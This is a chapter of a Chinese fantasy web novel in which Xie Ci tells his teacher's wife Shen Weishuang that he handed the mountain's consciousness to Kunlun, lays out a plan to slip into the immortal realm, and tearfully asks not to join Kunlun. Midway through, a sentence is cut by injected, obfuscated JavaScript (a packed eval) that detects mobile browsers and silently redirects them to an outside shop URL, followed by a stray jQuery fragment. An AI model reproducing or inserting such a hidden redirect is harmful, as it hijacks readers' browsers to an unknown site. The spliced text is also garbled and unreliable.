那个透明的琉璃小瓶,沈微霜恍然忆起来。
那是谢辞来到谢家时,身上所带的唯一一件东西。
准确地说,他带来的只是那瓶里的淡红色物质,看着像液体,伸展抻长却毫无滞涩,有微渺星芒沉坠其中,如固态般攀附缠绕在男孩枯瘦的指尖,仿若活物。
谢辞藏得很好,但还是某次一不留神被她瞧见,那时她以为是小孩子的玩具,便也没有在意,后来两人相熟了,谢辞向她讨了个琉璃瓶,将其装了进去,此后便置于屋内,也不时常带在身上了。
她还以为是他玩腻了呢。
女人面色有些复杂,谢辞以为她忘了,解释道:“那里面装着的东西,就是我那时从山体中提取出来的,这座山的意识。”
沈微霜点头,问:“你一直能听到它的声音?”
石壁上摇晃的颗粒已然不见了,谢辞歪了歪头,浅笑着回答:“那老头子可吵了,现在喋喋不休骂人呢。”
但除了沈微霜,他向来是不搭理别人怎么骂他的。
原来是个老头子。沈微霜回忆起之前为她开出一条通道的巨大眼睛,她如今想起来,倒是不觉得诡异了,只是感到疑惑。
按谢辞的说法,他已经将它从山体中提取出来,它还能在某种程度上控制这座山吗?
况且看起来,那琉璃瓶眼下也不在谢辞身边。她想着,眼神闪了闪。
“我将它放归天山了。”
如同要印证她的所思所想,下一秒,谢辞如此道。
“准确的说,是我将它交给了昆仑,昆仑将它放归。”
沈微霜怔愣一瞬,漂亮的水眸缓缓睁大,几乎是不可思议地望向谢辞。
那少年仍东倒西歪地倚在石壁上,托着腮仰头看她,细小的烛光碎在他眼瞳里,漾出一片潋滟。
他什么时候与昆仑有过接触的?她竟完全不知晓。
“昨天晚上,您被抓到这里来的时候。”谢辞道,像是猜到她的疑惑,但很快又抿唇,眼睫垂下,整个人透出一瞬的阴郁。
“昆仑需要这个,作为第二轮考察,我将它交给了他们。”他缓缓道,音色不自觉冷下来,“您知道他们为什么需要它么?天山意识作为天山最为重要的一部分,没有它,昆仑杀不死这座山。”
“小时候,您跟我说过的,仙凡本为一体,而后人仙界壁逐渐稳固,两者分离,直到如今这个地步,”他顿了顿,“但是藕断尚且丝连,界壁无法分割某些东西。”
“什么?”沈微霜问,她面色泛着点苍白,实在是一时间接触了太多信息量,有些消化不过来。
“通道。”
谢辞说:“您知道为何仙界并未完全自立么?除了界壁尚未彻底稳定之外,人仙通道作为残存的丝线,使他们无法摆脱凡界。”
“仙界要彻底自立,需要斩断所有人仙通道。”
沈微霜心神俱震。
从小到大,所有人说的都是如今凡人要进入仙界,除了寻仙典与问灵试炼别无其他可能,可如果按谢辞说的——
“这里就是一处通道,师娘。”
谢辞放下托腮的手,抬起眸,整个人似乎微不可查地绷紧了。
“凡是通道,必生灵智。这座山与通道合为一体,山的意识,便是通道的意识。昆仑的人此次前来,为的就是杀死它。”
至于带走问灵试炼的获胜者么,那只是顺带的事。
洞穴寂静,沈微霜也默然,她心下思忖一阵,缓缓开口道:“这些都是它告诉你的?”
少年点头。
“你将它交给昆仑,然后呢?等他们杀死它,跟随他们一同上仙界?”
如她所料的,谢辞摇头。
石壁的昏暗阴影中,他仰头看着她,眼中似乎亮着奇异的光,可又如风中之烛般颤巍巍的,叫她分不清那神色究竟是希冀还是惶恐。
“师娘。”他开口,却又止住,咬着唇,睫毛帘子不停地颤,一双骨节分明的手不自觉攥紧了。
“我……您都看到了,”再开口时,少年清润的嗓音都抖了起来,包裹在玄色窄袍下的胸膛急促地上下起伏,“您看到了,那根禅杖。”
谢辞从未表现出这副样子,沈微霜几乎要疑心自己看到了那双星眸里湿润的水光。
她俯下身,抚上他的脑袋。少年的身子在颤抖,起初只是微微的颤,在感受到她的抚摸后渐渐剧烈了起来,像是无法自抑,又如同某种不自觉的撒娇。
“那根禅杖怎么了?……阿辞,慢慢来,不要哭。”
她自然是慈爱的,他知道她爱他,愿意为他放弃许多东西。他侧脸,埋入她怀中,襦裙单薄,鼻尖抵上不知哪处的滑腻肌肤,那股他贪恋的味道瞬间浓郁起来,携着微微的苦调将他环绕,他炙热的鼻息喷洒在那片肌肤上,女人身子微僵,向后撤了几寸,被他扯着衣袖拽回,有湿润的泪渗进她衣襟中,她不再动了。
他其实不想哭,但她的怀抱仿佛某种催化剂,某种意义上,他感到自己的卑鄙。
女人一只手抚着他的脑袋,一只手拍着他的脊背,像是小时候那样,他湿润着睫毛抬起头来,看到她修长脆弱的脖颈。
“……对不起,师娘。”他低声道,放开了拽着她不放的手。
沈微霜叹气:“没关系……发生什么事了?告诉师娘,我们一起解决……别哭了。”
少年眸子一眨,睫毛上的泪意更重了,欲掉不掉的,沈微霜叹着气将它抹去。
“那根禅杖……”他仰脸望着她,银面在方才的拥抱中歪斜了,露出其下凹陷下去的,又寸寸翻出的烂肉,极可怖甚至是恶心的模样,却带着极孺慕极依赖的眼神。
“它——我想……”他顿了顿,像是不知如何组织语言,末了突然唤她。
“师娘。”
“师娘,我不想去昆仑了。”他说,“我们能不能不去昆仑了?”
沈微霜一时怔住,她与他说过昆仑的事,只是无法理清他的逻辑,只听少年急促到紧绷的声音。
“他们是为了杀死这座山而来的,我将它交给他们,如今定然是在封山结印了,之后只要彻底打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12892133|136135||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开通道,然后杀死它,他们的目的就达到了。师娘,我们可以趁通道打开的那一瞬进去,我都安排好了的。”
“那根禅杖,我差那些邪灵偷来那根禅杖,为的就是在他们摧毁通道时暗度陈仓,引渡通道意识进入禅杖内,以这老家伙修行千万年的灵力,通过侵占本命灵器进而侵占那牧三身体,销毁掉原主意识,是轻而易举的事情,如此一来,它得以脱身,昆仑的人也不会发现,只会认为这座山已然被杀死了。”
“师娘,我帮它活下去,它帮我们隐匿气息,进入仙界,这是说好了的交易。”
谢辞抬眼凝视着她,凝视她怔忪的脸,凝视她柔软的眼,泪珠到底还是落下来,滴到她微凉的手上。
“但是,但是如果您不同意的话,”他颤着唇,“我现在就去找他们,我们现在去,完全来得及,您可以堂堂正正地进入那里,不必遮遮掩掩,防人耳目。”
他说到这里,眸中的光剧烈震荡,碎成极潋滟的水波,片刻后又凝聚起来,呼吸也跟着定住。
“不,不,还是去找他们罢,”少年霎时悔了主意,“师娘,我带您去找他们,这样您就不用跟着我一同流浪,受委屈……”
他说着,慌不迭地就要起身,沈微霜叹着气将他按住。
她看着他,看他极少的慌乱模样,简直不知说什么好,心中无奈至极,末了只好拍着他的背安抚:“好了,好了,何必想那么多,你不想去那便不去,师娘陪着你。”
“乖孩子,别哭了,别哭了,再哭成小花猫了……”
谢辞还在颤抖,但是渐渐安静下来,盯着她的眼,泪珠在掉。
“我们不去,乖,昆仑的人给你受了什么气,嗯?你看你,都委屈成什么样了。”
沈微霜好笑地给他拭泪,她觉得自己这样不厚道,但又忍不住,谢辞看她唇边止不住的笑意,简直气急。
“师娘!”他抬高声音,喊了一声,又很快弱下来,“……我不喜欢他们。”
沈微霜看着他,他重复道:“没受什么气,我只是不喜欢他们,他们……”
他止住了,叫他该如何说?
说那女的擅闯入沈微霜的寝房?又或者擅自动了他给她的玉佩?都是又都不是,那人的态度甚至称得上和气,可他偏生不舒服,甚至迁怒到整个宗门上。
这是极为任性的想法,他自己知道,他不应当给那个叫洛言的女人摆脸色看,也不应当拿他和沈微霜的前途当赌注,更不应当用眼泪博取她的同情,其实,去昆仑本就是一条通天大道,偷渡进去反而只会让他师娘跟着他流浪,他有能完全保护好她的能力吗?能保证不会如这次这般——他几乎又要反悔了,沈微霜按住他的脑袋。
“好了,不喜欢就不去,阿辞,你以往可没有这么优柔寡断。”
她柔柔地笑:“你还年轻着,什么路都走走看,才知道好不好,不要怕,师娘陪着你呢。”
谢辞怔怔看着她,良久,想要埋入她怀中,忍住了,低声应:“……嗯。”
师娘最爱他了,他知道。